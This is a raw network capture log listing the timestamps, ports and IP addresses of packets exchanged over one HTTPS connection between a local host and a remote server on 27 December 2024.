Dec 27, 2024 20:17:47.144882917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.144925117 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.151367903 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.151390076 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.151439905 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.151468992 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.151489973 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.158739090 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.158790112 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.158807993 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.158818007 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.158847094 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.200948000 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.299267054 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.299288034 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.299336910 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.299360991 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.299369097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.299396992 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.299413919 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.306451082 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.306488037 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.306516886 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.306521893 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.306544065 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.306557894 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.311830044 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.311906099 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.311912060 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.311958075 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.313780069 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.313833952 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.320252895 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.320288897 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.320343971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.320343971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.320349932 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.327609062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.327649117 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.327672958 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.327680111 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.327702999 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.334394932 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.334424019 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.334451914 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.334458113 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.334479094 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.341974974 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.342016935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.342036963 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.342041969 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.342070103 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.348993063 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.349030972 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.349064112 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.349071026 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.349092007 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.404052019 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.510230064 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.510263920 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.510312080 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.510329008 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.510330915 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.510389090 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.510400057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.510772943 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.517291069 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.517317057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.517353058 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.517359972 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.517374039 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.517401934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.533720016 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.533752918 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.533795118 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.533801079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.533823013 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.533849001 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.534539938 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.534563065 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.534595013 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.534601927 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.534626007 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.534642935 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.542720079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.542763948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.542800903 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.542807102 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.542814970 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.542841911 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.545263052 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.545342922 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.545346975 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.545376062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.545408964 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.545418024 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.552608967 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.552656889 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.552670002 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.552678108 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.552723885 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.557904005 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.557970047 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.557980061 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.557984114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.558007002 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.607176065 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.718729973 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.718766928 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.718818903 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.718828917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.718862057 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.718879938 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.725791931 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.725821972 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.725852966 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.725864887 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.725874901 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.726139069 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.733144045 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.733172894 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.733211994 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.733220100 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.733231068 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.733256102 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.739690065 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.739753008 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.739753962 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.739803076 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.739816904 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.739845037 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.747091055 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.747155905 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.747155905 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.747179985 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.747210979 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.747227907 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.753959894 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.754010916 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.754025936 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.754035950 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.754066944 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.754075050 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.761188984 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.761233091 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.761259079 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.761265039 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.761284113 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.761296034 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.768563032 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.768583059 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.768657923 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.768657923 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.768665075 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.768760920 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.770035028 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.948448896 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.948484898 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.948532104 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.948556900 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.948580980 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.948592901 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.955784082 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.955810070 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.955849886 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.955871105 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.955884933 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.955950022 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.962235928 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.962268114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.962305069 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.962316036 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.962341070 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.962367058 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.969975948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.970000982 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.970186949 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.970206022 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.970369101 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.976808071 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.976834059 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.976881027 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.976891994 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.976902008 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.976933956 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.983649015 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.983678102 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.983730078 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.983740091 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.983777046 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.983793974 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.990993977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.991028070 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.991079092 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.991090059 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.991113901 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.991127968 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.991384029 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.997421980 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.997452974 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.997509003 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.997519016 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.997541904 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.997559071 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.160836935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.160897017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.160943031 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.160986900 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.161000967 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.162344933 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.168175936 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.168226004 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.168250084 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.168256044 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.168279886 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.168298006 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.174469948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.174523115 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.174560070 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.174566984 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.174597979 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.174607992 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.181957960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.182003021 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.182029009 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.182037115 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.182061911 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.182068110 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.189074993 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.189120054 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.189140081 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.189150095 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.189176083 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.189189911 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.195966959 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.196017027 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.196053028 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.196060896 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.196082115 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.196105003 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.203288078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.203378916 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.203378916 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.203422070 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.203450918 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.203474998 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.204435110 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.204493999 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.211855888 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.211905003 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.211929083 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.211939096 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.211950064 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.263417959 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.384854078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.384886026 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.384923935 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.384933949 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.384957075 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.384969950 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.392014027 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.392040014 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.392074108 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.392079115 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.392102003 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.392116070 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.399357080 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.399380922 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.399405003 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.399409056 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.399441004 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.405807972 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.405829906 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.405858040 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.405862093 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.405880928 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.405893087 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.413062096 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.413086891 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.413114071 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.413120031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.413141012 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.413156033 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.420093060 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.420130014 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.420150995 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.420157909 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.420176029 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.420190096 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.426453114 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.427262068 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.427284002 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.427318096 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.427324057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.427339077 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.427351952 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.434660912 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.434683084 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.434704065 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.434709072 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.434722900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.434736013 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.596903086 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.596935987 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.596966028 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.596991062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.597017050 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.597024918 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.604079962 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.604101896 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.604130030 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.604135036 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.604156971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.604168892 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.609298944 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.609359026 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.609368086 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.609380960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.609409094 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.615753889 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.615776062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.615802050 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.615808964 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.615828991 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.623079062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.623104095 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.623126984 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.623131990 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.623153925 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.629955053 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.629982948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.630012989 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.630038023 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.630048990 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.637389898 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.637423038 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.637439013 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.637447119 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:48.637465000 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:48.639255047 CET	443	49746	104.21.37.128	192.168.2.4
